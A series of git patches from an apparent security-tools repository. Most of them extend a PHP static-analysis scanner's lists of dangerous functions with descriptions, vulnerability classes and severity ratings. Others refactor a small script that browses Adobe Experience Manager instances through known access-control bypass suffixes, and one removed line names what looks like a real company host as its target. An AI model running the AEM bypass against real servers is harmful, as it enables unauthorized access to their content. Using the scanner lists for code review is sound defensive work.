Mon Sep 17 00:00:00 2001 From: "rafal.janicki@genomicsmed.ie" Date: Wed, 22 May 2019 16:25:59 +0100 Subject: [PATCH 080/460] docs [DONE][pef.py] --- .gitignore | 2 +- pef/imports/pefdefs.py | 63 ++--------- pef/imports/pefdocs.py | 246 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 258 insertions(+), 53 deletions(-) diff --git a/.gitignore b/.gitignore index 3ca1750..3606a75 100644 --- a/.gitignore +++ b/.gitignore @@ -11,5 +11,5 @@ sword/OUTPUT /dirscan/1000folders.txt *.pyc *.log +.vscode -denumerator_output.txt diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 6cabb81..e3d84e5 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -34,35 +34,36 @@ "readfile(", "file_get_contents(", "show_source(", + "highlight_file(", "fopen(", "file(", "fpassthru(", + "fsockopen(", "gzopen(", + "gzread(", "gzfile(", "gzpassthru(", "readgzfile(", "mssql_query(", + "odbc_exec(", + "sqlsrv_query(", + "PDO::query(", "move_uploaded_file(", "echo", "print(", "printf(", - "xpath(", "ldap_search(", "header(", - "http_redirect", - "HttpMessage::setResponseCode", - "HttpMessage::setHeaders", - "HttpRequest::setHeaders", "sqlite_", + "sqlite_query(", "pg_", + "pg_query(", "mysql_", + "mysql_query(", + "mysqli::query(", "mysqli_", - "apache_note(", + "mysqli_query(", "apache_setenv(", - "define_syslog_variables(", - "disk_free_space(", - "disk_total_space(", - "diskfreespace(", "dl(", "escapeshellarg(", "escapeshellcmd(", @@ -72,57 +73,15 @@ "get_current_user(", "getcwd(", "getenv(", - "getlastmo(", - "getmygid(", - "getmyinode(", - "getmypid(", - "getmyuid(", "ini_restore(", "ini_set(", "passthru(", - "pcntl_alarm(", "pcntl_exec(", - "pcntl_fork(", - "pcntl_get_last_error(", - "pcntl_getpriority(", - "pcntl_setpriority(", - "pcntl_signal(", - "pcntl_signal_dispatch(", - "pcntl_sigprocmask(", - "pcntl_sigtimedwait(", - "pcntl_sigwaitinfo(", - "pcntl_strerrorp(", - "pcntl_wait(", - "pcntl_waitpid(", - "pcntl_wexitstatus(", - "pcntl_wifexited(", - "pcntl_wifsignaled(", - "pcntl_wifstopped(", - "pcntl_wstopsig(", - "pcntl_wtermsig(", "php_uname(", "phpinfo(", "popen(", - "posix_getlogin(", - "posix_getpwuid(", - "posix_kill(", - "posix_mkfifo(", - "posix_setpgid(", - "posix_setsid(", - "posix_setuid(", - "posix_ttyname(", - "posix_uname(", - "posixc(", - "proc_close(", - "proc_get_status(", - "proc_nice(", "proc_open(", - "proc_terminate(", - "ps_aux(", "putenv(", - "readlink(", - "runkit_function_rename(", - "show_source(", "symlink(", "syslog(", ] diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 30ee00f..7f0ad89 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -196,5 +196,251 @@ "virtual ( string $filename ) : bool", "Local File Include, Remote File Include", "low" + ], + "readfile()":[ + "Reads a file and writes it to the output buffer.", + "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", + "Code Injection, LFI, RFI", + "medium" + ], + "file_get_contents()":[ + "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", + "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", + "Code Injection, LFI, RFI", + "medium" + ], + "show_source()":[ + "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low" + ], + "highlight_file()":[ + "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low" + ], + "fopen()": [ + "fopen() binds a named resource, specified by filename, to a stream.", + "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", + "Code Injection, LFI, RFI", + "low" + ], + "file()": [ + "Reads an entire file into an array.", + "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", + "Code Injection, LFI, RFI", + "low" + ], + "fpassthru()": [ + "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", + "fpassthru ( resource $handle ) : int", + "Code Injection, LFI, RFI, RCE (depending on the context)", + "low" + ], + "fsockopen()": [ + "Initiates a socket connection to the resource specified by hostname.", + "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", + "RCE (depends on context)", + "low" + ], + "gzopen()": [ + "Opens a gzip (.gz) file for reading or writing.", + "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", + "Code Injection, LFI (depends on context)", + "low" + ], + "gzread()":[ + "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", + "gzread ( resource $zp , int $length ) : string", + "Code Injection, LFI", + "low" + ], + "gzfile()": [ + "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", + "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", + "Code Injection, LFI", + "low" + ], + "gzpassthru()":[ + "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", + "gzpassthru ( resource $zp ) : int", + "Code Injection, LFI", + "low" + ], + "readgzfile()": [ + "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", + "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", + "Code Injection, LFI, RCE", + "medium" + ], + "mssql_query()" : [ + "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", + "mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) : mixed", + "SQL Injection", + "high" + ], + "odbc_exec()": [ + "Sends an SQL statement to the database server.", + "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", + "SQL Injection", + "high" + ], + "sqlsrv_query()": [ + "Prepares and executes a query", + "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", + "SQL Injection", + "medium" + ], + "PDO::query()":[ + "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", + "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", + "SQL Injection", + "medium" + ], + "move_uploaded_file()":[ + "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", + "move_uploaded_file ( string $filename , string $destination ) : bool", + "File Include", + "low" + ], + "print()": [ + "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", + "print ( string $arg ) : int", + "XSS, Content/HTML Injection", + "low" + ], + "printf()": [ + "Produces output according to format.", + "printf ( string $format [, mixed $... ] ) : int", + "XSS, Content/HTML Injection", + "low" + ], + "ldap_search()": [ + "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", + "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array("*") [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", + "unknown?", + "low" + ], + "header()": [ + "Send a raw HTTP header", + "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", + "Header Injection, Open Redirect", + "low" + ], + "sqlite_query()": [ + "SQLiteDatabase::query — Executes a query against a given database and returns a result handle", + "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", + "SQL Injection", + "medium" + ], + "pg_query()": [ + "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", + "pg_query ([ resource $connection ], string $query ) : resource", + "SQL Injection", + "medium" + ] + "mysql_query()":[ + "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", + "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", + "SQL Injection", + "high" + ], + "mysqli_query()": [ + "Performs a query against the database.", + "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium" + ], + "mysqli::query()": [ + "Performs a query against the database.", + "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium" + ], + "apache_setenv()": [ + "Sets the value of the Apache environment variable specified by variable.", + "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", + "ENV server variables overwrite", + "low" + ], + "dl()": [ + "Loads a PHP extension at runtime", + "dl ( string $library ) : bool", + "Code Injection, RCE (in certain conditions)", + "low" + ], + "escapeshellarg()" : [ + "Escape a string to be used as a shell argument", + "escapeshellarg ( string $arg ) : string", + "", + "low" + ], + "escapeshellcmd()": [ + "Escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands", + "escapeshellcmd ( string $command ) : string", + "", + "low" + ], + "get_cfg_var()": [ + "Gets the value of a PHP configuration option", + "get_cfg_var ( string $option ) : mixed", + "Information Disclosure", + "low" + ], + "get_current_user()": [ + "Gets the name of the owner of the current PHP script", + "get_current_user ( void ) : string", + "Information Disclosure", + "low" + ], + "getcwd()":[ + "Gets the current working directory", + "getcwd ( void ) : string", + "Information Disclosure", + "low" + ], + "getenv()": [ + " Gets the value of an environment variable", + "getenv ( string $varname [, bool $local_only = FALSE ] ) : string", + "Information Disclosure", + "low" + ], + "ini_set()":[ + "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", + "ini_set ( string $varname , string $newvalue ) : string", + "Configuration Arbitrary Change in runtime", + "low" + ], + "php_uname()": [ + "Returns information about the operating system PHP is running on", + "php_uname ([ string $mode = \"a\" ] ) : string", + "Information Disclosure", + "low" + ], + "phpinfo()": [ + "Outputs information about PHP's configuration", + "phpinfo ([ int $what = INFO_ALL ] ) : bool", + "Information Disclosure", + "medium" + ], + "putenv()": [ + "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", + "putenv ( string $setting ) : bool", + "ENV variable create/owerwrite", + "low" + ], + "symlink()": [ + "Creates a symbolic link to the existing target with the specified name link.", + "symlink ( string $target , string $link ) : bool", + "LFI (in certain conditions)", + "low" + ], + "syslog()": [ + "Generate a system log message", + "syslog ( int $priority , string $message ) : bool", + "Log poisoning", + "low" ] } From 249b028e63b1ef136d267f20523716123958d28c Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 22 May 2019 18:37:29 +0100 Subject: [PATCH 081/460] fix wrong characters [pef.py] --- pef/imports/pefdocs.py | 50 +++++++++++++++++++++--------------------- 1 file changed, 25 insertions(+), 25 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 7f0ad89..56a38c0 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -47,7 +47,7 @@ "RCE", "high" ], - "eval()" : [ + "eval()": [ "Evaluate a string as PHP code", "eval ( string $code ) : mixed", "RCE", @@ -107,19 +107,19 @@ "RCE", "high" ], - "extract()" :[ + "extract()": [ "Import variables into the current symbol table from an array", "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", "Code Injection", "medium" ], - "parse_str()" :[ + "parse_str()": [ "Parses encoded_string as if it were the query string passed via a URL and sets variables in the current scope (or in the array if result is provided).", "parse_str ( string $encoded_string [, array &$result ] ) : void", "Code Injection", "medium" ], - "putenv()":[ + "putenv()": [ "Sets the value of an environment variable", "putenv ( string $setting ) : bool", "Code Injection", @@ -131,7 +131,7 @@ "PHP Interpreter behavior change; application settings overwrite", "low" ], - "mail()":[ + "mail()": [ "Sends an email.", "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", "Arbitrary mail sending", @@ -143,7 +143,7 @@ "XSS, HTML Injection, Content Injection etc.", "low" ], - "header()" : [ + "header()": [ "header() is used to send a raw HTTP header.", "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", "Header Injection (?)", @@ -167,13 +167,13 @@ "Code Injection", "medium" ], - "ereg_replace()" :[ + "ereg_replace()": [ "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", "ereg_replace ( string $pattern , string $replacement , string $string ) : string", "Code Injection", "low" ], - "eregi_replace()" :[ + "eregi_replace()": [ "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", "eregi_replace ( string $pattern , string $replacement , string $string ) : string", "Code Injection", @@ -191,31 +191,31 @@ "Code Injection", "low" ], - "virtual()" : [ + "virtual()": [ "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", "virtual ( string $filename ) : bool", "Local File Include, Remote File Include", "low" ], - "readfile()":[ + "readfile()": [ "Reads a file and writes it to the output buffer.", "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", "Code Injection, LFI, RFI", "medium" ], - "file_get_contents()":[ + "file_get_contents()": [ "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", "Code Injection, LFI, RFI", "medium" ], - "show_source()":[ + "show_source()": [ "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", "Information Disclosure", "low" ], - "highlight_file()":[ + "highlight_file()": [ "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", "Information Disclosure", @@ -251,7 +251,7 @@ "Code Injection, LFI (depends on context)", "low" ], - "gzread()":[ + "gzread()": [ "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", "gzread ( resource $zp , int $length ) : string", "Code Injection, LFI", @@ -263,7 +263,7 @@ "Code Injection, LFI", "low" ], - "gzpassthru()":[ + "gzpassthru()": [ "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", "gzpassthru ( resource $zp ) : int", "Code Injection, LFI", @@ -275,7 +275,7 @@ "Code Injection, LFI, RCE", "medium" ], - "mssql_query()" : [ + "mssql_query()": [ "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", "mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) : mixed", "SQL Injection", @@ -293,13 +293,13 @@ "SQL Injection", "medium" ], - "PDO::query()":[ + "PDO::query()": [ "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", "SQL Injection", "medium" ], - "move_uploaded_file()":[ + "move_uploaded_file()": [ "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", "move_uploaded_file ( string $filename , string $destination ) : bool", "File Include", @@ -319,7 +319,7 @@ ], "ldap_search()": [ "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", - "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array("*") [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", + "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array() [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", "unknown?", "low" ], @@ -330,7 +330,7 @@ "low" ], "sqlite_query()": [ - "SQLiteDatabase::query — Executes a query against a given database and returns a result handle", + "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", "SQL Injection", "medium" @@ -340,8 +340,8 @@ "pg_query ([ resource $connection ], string $query ) : resource", "SQL Injection", "medium" - ] - "mysql_query()":[ + ], + "mysql_query()": [ "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", "SQL Injection", @@ -371,7 +371,7 @@ "Code Injection, RCE (in certain conditions)", "low" ], - "escapeshellarg()" : [ + "escapeshellarg()": [ "Escape a string to be used as a shell argument", "escapeshellarg ( string $arg ) : string", "", @@ -395,7 +395,7 @@ "Information Disclosure", "low" ], - "getcwd()":[ + "getcwd()": [ "Gets the current working directory", "getcwd ( void ) : string", "Information Disclosure", @@ -407,7 +407,7 @@ "Information Disclosure", "low" ], - "ini_set()":[ + "ini_set()": [ "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", "ini_set ( string $varname , string $newvalue ) : string", "Configuration Arbitrary Change in runtime", From 9d414c61b2a9c91a1f8e380023b8f48f0e41b00e Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 23 May 2019 18:42:34 +0100 Subject: [PATCH 082/460] args for aem-explorer.py --- aem-explorer.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/aem-explorer.py b/aem-explorer.py index b4ec14e..ba21604 100755 --- a/aem-explorer.py +++ b/aem-explorer.py @@ -3,9 +3,10 @@ # AEM (Adobe Experience Manager) vulnerable instance directory tree explorer import requests import json +import sys -host = 'roche-eu-elb1euwe-edbsgup20jrh-484431596.eu-west-1.elb.amazonaws.com' -bypass = '/.childrenlist.json' +host = sys.argv[0] +bypass = sys.argv[1] # .childrenlist.json, .1.json etc. headers = { 'Host': host, From d2119916e739a2099531ec00ae5a6b337f766299 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 23 May 2019 19:46:01 +0100 Subject: [PATCH 083/460] aem-explorer refactoring --- aem-explorer.py | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/aem-explorer.py b/aem-explorer.py index ba21604..86f7a55 100755 --- a/aem-explorer.py +++ b/aem-explorer.py @@ -5,8 +5,12 @@ import json import sys -host = sys.argv[0] -bypass = sys.argv[1] # .childrenlist.json, .1.json etc. +print "\n### AEM Explorer ###\n hackerone.com/bl4de :: github.com/bl4de/security-tools :: twitter.com/_bl4de" +print "\n\n usage: ./aem-explorer.py HOST PROTOCOL PAYLOAD \n./aem-explorer.py example.com https .1.json\n\n" + +host = sys.argv[1] # example.com +protocol = sys.argv[2] # https or http +bypass = sys.argv[3] # .childrenlist.json, .1.json etc. headers = { 'Host': host, @@ -16,7 +20,7 @@ def process(): - url = "{}{}{}".format('http://', host, bypass) + url = "{}{}{}".format(protocol + '://', host + '/', bypass) resp = requests.get( url, headers=headers @@ -27,7 +31,7 @@ def process(): while True: goto_path = raw_input("\n\n>>> ") - url = "{}{}/{}{}".format('https://', host, goto_path, bypass) + url = "{}{}/{}{}".format('https://', host, goto_path + '/', bypass) print "DIR: {}\n".format(goto_path) print url @@ -37,11 +41,13 @@ def process(): ) if resp.content: + print resp.content dirtree = json.loads(resp.content) - for d in dirtree: - if "jcr:" in d: - print "{}: {}".format(d, dirtree[d]) - print " {}".format(d) + if dirtree: + for d in dirtree: + if "jcr:" in d: + print "{}: {}".format(d, dirtree[d]) + print " {}".format(d) def main(): From 94fcc198925c477bf80a7972ccdbf88d430b0293 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 25 May 2019 21:07:18 +0100 Subject: [PATCH 084/460] new PEF docs [pef] --- pef/imports/pefdefs.py | 4 ++++ pef/imports/pefdocs.py | 24 ++++++++++++++++++++++++ 2 files changed, 28 insertions(+) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index e3d84e5..b83038a 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -84,6 +84,10 @@ "putenv(", "symlink(", "syslog(", + "curl_exec(", + "__wakeup(", + "__destruct(", + "__sleep(" ] # dangerous global(s) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 56a38c0..c94965d 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -442,5 +442,29 @@ "syslog ( int $priority , string $message ) : bool", "Log poisoning", "low" + ], + "curl_exec()": [ + "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", + "curl_exec ( resource $ch ) : mixed", + "SSRF", + "medium" + ], + "__destruct()":[ + "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", + "__destruct ( void ) : void", + "ROP, Object Injection; RCE via unserialize()", + "medium" + ], + "__wakeup()":[ + "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", + "__wakeup ( void ) : void", + "ROP, Object Injection; RCE via unserialize()", + "medium" + ], + "__sleep()": [ + "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", + "public __sleep ( void ) : array", + "ROP, Object Injection; RCE via unserialize()", + "medium" ] } From dd99812ecf9caf152ddfdba70ce6c639d2554ed4 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 25 May 2019 21:39:35 +0100 Subject: [PATCH 085/460] new PEF docs [pef] --- pef/imports/pefdefs.py | 3 ++- pef/imports/pefdocs.py | 12 +++++++++--- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index b83038a..a3e2bcf 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -87,7 +87,8 @@ "curl_exec(", "__wakeup(", "__destruct(", - "__sleep(" + "__sleep(", + "filter_var(" ] # dangerous global(s) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index c94965d..9927b3b 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -452,19 +452,25 @@ "__destruct()":[ "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", "__destruct ( void ) : void", - "ROP, Object Injection; RCE via unserialize()", + "Object Injection; RCE via unserialize() + POP gadget chain", "medium" ], "__wakeup()":[ "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", "__wakeup ( void ) : void", - "ROP, Object Injection; RCE via unserialize()", + "Object Injection; RCE via unserialize() + POP gadget chain", "medium" ], "__sleep()": [ "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", "public __sleep ( void ) : array", - "ROP, Object Injection; RCE via unserialize()", + "Object Injection; RCE via unserialize() + POP gadget chain", "medium" + ], + "filter_var()":[ + "Filters a variable with a specified filter", + "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", + "Validation bypass (in certain conditions)", + "low" ] } From 2935223a5408b630d68d2409a0451df7d34f87e8 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 25 May 2019 23:00:07 +0100 Subject: [PATCH 086/460] new PEF docs [pef] --- pef/imports/pefdefs.py | 3 ++- pef/imports/pefdocs.py | 6 ++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index a3e2bcf..a56cd49 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -88,7 +88,8 @@ "__wakeup(", "__destruct(", "__sleep(", - "filter_var(" + "filter_var(", + "file_put_contents(" ] # dangerous global(s) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 9927b3b..74324ca 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -472,5 +472,11 @@ "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", "Validation bypass (in certain conditions)", "low" + ], + "file_put_contents()":[ + "Write data to a file", + "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", + "Arbitrary file write", + "medium" ] } From 7fdca6e053ba700c14c6cce70b14e6f40acbd583 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 26 May 2019 00:27:19 +0100 Subject: [PATCH 087/460] reformat output; new flags: --verbose, --code [pef.py] --- pef/pef.py | 115 +++++++++++++++++++++++++++++++---------------------- 1 file changed, 67 insertions(+), 48 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 3a48833..f49b438 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -29,7 +29,7 @@ def banner(): print "-" * 100, "\33[0m\n" -def printcodeline(_line, i, _fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", __severity={}): +def printcodeline(_line, i, _fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", __severity={}, __verbose=False): """ Formats and prints line of output """ @@ -39,42 +39,50 @@ def printcodeline(_line, i, _fn, prev_line="", next_line="", prev_prev_line="", "high": "red" } - print ":: line %d :: \33[33;1m%s\33[0m " % (i, _fn) + if __verbose == True: + print " line %d :: \33[33;1m%s\33[0m " % (i, _fn) + else: + print "{}line {} :: {}{} ".format(beautyConsole.getColor( + "white"), i, beautyConsole.getColor("grey"), _line.strip()) # print legend only if there i sentry in pefdocs.py if _fn and _fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): __impact = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[3] - __description = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[0] + __description = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[ + 0] __syntax = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[1] __vuln_class = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[2] - print "\n {}{}{}".format(beautyConsole.getColor( - "white"), __description, beautyConsole.getSpecialChar("endline")) - print " {}{}{}".format(beautyConsole.getColor( - "grey"), __syntax, beautyConsole.getSpecialChar("endline")) - print " Potential impact: {}{}{}".format(beautyConsole.getColor( - __impact_color[__impact]), __vuln_class, beautyConsole.getSpecialChar("endline")) + if __verbose == True: + print "\n {}{}{}".format(beautyConsole.getColor( + "white"), __description, beautyConsole.getSpecialChar("endline")) + print " {}{}{}".format(beautyConsole.getColor( + "grey"), __syntax, beautyConsole.getSpecialChar("endline")) + print " Potential impact: {}{}{}".format(beautyConsole.getColor( + __impact_color[__impact]), __vuln_class, beautyConsole.getSpecialChar("endline")) + if __impact not in __severity.keys(): __severity[__impact] = 1 else: __severity[__impact] = __severity[__impact] + 1 - print "\n" - if prev_prev_line: - print str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + \ - beautyConsole.getSpecialChar("endline") - if prev_line: - print str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + \ - beautyConsole.getSpecialChar("endline") - print str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + \ - beautyConsole.getSpecialChar("endline") - if next_line: - print str(i+1) + " " + beautyConsole.getColor("grey") + next_line + \ + if __verbose == True: + print "\n" + if prev_prev_line: + print str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + \ + beautyConsole.getSpecialChar("endline") + if prev_line: + print str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + \ + beautyConsole.getSpecialChar("endline") + print str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + \ beautyConsole.getSpecialChar("endline") - if next_next_line: - print str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + \ - beautyConsole.getSpecialChar("endline") - print "\n" + if next_line: + print str(i+1) + " " + beautyConsole.getColor("grey") + next_line + \ + beautyConsole.getSpecialChar("endline") + if next_next_line: + print str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + \ + beautyConsole.getSpecialChar("endline") + print "\n" def header_print(file_name, header_printed): @@ -85,7 +93,7 @@ def header_print(file_name, header_printed): return header_printed -def main(src, __severity): +def main(src, __severity, __verbose, __functions_only): """ performs code analysis, line by line """ @@ -121,28 +129,32 @@ def main(src, __severity): header_printed = header_print(_file.name, header_printed) total += 1 printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, __severity) - for _dp in pefdefs.fileInclude: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - _dp = " {}".format(_dp) - # remove spaces to allow detection eg. include( $_GET['something] ) - if _dp in __line.replace(" ", ""): - header_printed = header_print(_file.name, header_printed) - total += 1 - printcodeline(_line, i, _dp + '()', prev_line, next_line, - prev_prev_line, next_next_line, __severity) - for _global in pefdefs.globalVars: - if _global in __line: - header_printed = header_print(_file.name, header_printed) - total += 1 - printcodeline(_line, i, _global, prev_line, next_line, - prev_prev_line, next_next_line, __severity) - for _refl in pefdefs.reflectedProperties: - if _refl in __line: - header_printed = header_print(_file.name, header_printed) - total += 1 - 